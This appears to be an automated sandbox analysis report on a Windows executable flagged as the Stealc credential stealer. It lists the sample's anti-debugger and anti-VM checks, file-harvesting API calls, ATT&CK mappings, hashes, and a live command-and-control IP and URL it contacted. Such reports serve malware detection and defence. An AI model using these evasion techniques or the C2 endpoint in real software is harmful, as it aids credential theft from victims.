Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13789D2 second address: 13789F4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F849CDA4206h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13789F4 second address: 13789F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378A86 second address: 1378A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378A8A second address: 1378AB3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 js 00007F849C4F2DBBh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F849C4F2DA9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378AB3 second address: 1378AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A08B second address: 137A099 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F849C4F2D96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B8F2 second address: 137B930 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F849CDA4207h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jbe 00007F849CDA41F6h 0x00000012 jmp 00007F849CDA4205h 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B930 second address: 137B934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D94B second address: 137D965 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CDA4206h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D965 second address: 137D98C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnc 00007F849C4F2D96h 0x0000000b pop esi 0x0000000c jmp 00007F849C4F2D9Fh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 jp 00007F849C4F2D96h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D98C second address: 137D995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D995 second address: 137D99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D99B second address: 137D99F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513028A second address: 51302E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C4F2DA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F849C4F2D9Eh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 call 00007F849C4F2D9Dh 0x00000019 mov bx, cx 0x0000001c pop ecx 0x0000001d popad 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F849C4F2DA5h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51302E7 second address: 51302EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51302EB second address: 51302F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130317 second address: 513031D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513031D second address: 5130354 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F849C4F2D9Ch 0x00000008 call 00007F849C4F2DA2h 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ecx 0x00000012 pushad 0x00000013 jmp 00007F849C4F2D9Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130354 second address: 5130358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130358 second address: 513038A instructions: 0x00000000 rdtsc 0x00000002 mov si, 3CADh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F849C4F2DA8h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov edx, 08CC7090h 0x0000001b mov cx, di 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129F080 second address: 129F087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129F087 second address: 129F091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F849C4F2D96h 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10F1BF1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12933CE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1291903 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10EF29A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1316D73 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00EA38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EA4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E9DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00E9E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00EA4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00E9ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E916D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E916D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00EA3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E9F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E9BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E9DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E91160 GetSystemInfo,ExitProcess,

0_2_00E91160

Source: file.exe, file.exe, 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2175832040.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2175832040.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2175832040.0000000000C15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2175832040.0000000000C15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13585
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13588
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13604
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13600
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13639

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E945C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00E945C0

Source: C:\Users\user\Desktop\file.exe

0_2_00EA9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EA9750 mov eax, dword ptr fs:[00000030h]

0_2_00EA9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EA78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00EA78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3184, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EA9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00EA9600

Source: file.exe, file.exe, 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: isProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00EA7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EA7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00EA7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EA7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00EA7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EA7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00EA7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2175832040.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2135381078.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3184, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2175832040.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2135381078.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3184, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	44%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
http://185.215.113.206/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.206/3	file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.php-	file.exe, 00000000.00000002.2175832040.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.php/D	file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/M	file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206	file.exe, 00000000.00000002.2175832040.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp	true	unknown
http://185.215.113.206/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/ws	file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.php4	file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.phpT	file.exe, 00000000.00000002.2175832040.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.phpt	file.exe, 00000000.00000002.2175832040.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542683
Start date and time:	2024-10-26 07:10:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	zE8aZ90GHB.exe	Get hash	malicious	Amadey	Browse	185.215.113.206/k8FppT/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948375836095765
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'830'912 bytes
MD5:	23f03176ddc56b4e531545aaf7394334
SHA1:	56dffc71067b0d3896a2fba82b320d8b7f18782e
SHA256:	da968f12344c3ccfdfa40421c3688c1761a2ff5054b353582022016e0a05fbe4
SHA512:	466ba8dbefa4c4756ad45f3b5da32ba11228700c51ede7cee8168b3ce13f15455484b25284094f2cae21be8342ee7df573068ce3e7640d980b972549f644f4ef
SSDEEP:	24576:qpVwz7bh0nI2hjdQD190xLYYt5h752LgX7oieKLo26JBAjfALrOuC6jczE47:qXJIIy9g5h752Ue92+BmAHOlS
TLSH:	CA8533720FD132F9C26CCBB788454E0B6690A9739CE2D60E3D2B572FAA9375B17444E4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...9$.g...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa91000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671C2439 [Fri Oct 25 23:05:29 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F849C70C6FAh
bswap esi
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F849C70E6F5h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sub byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

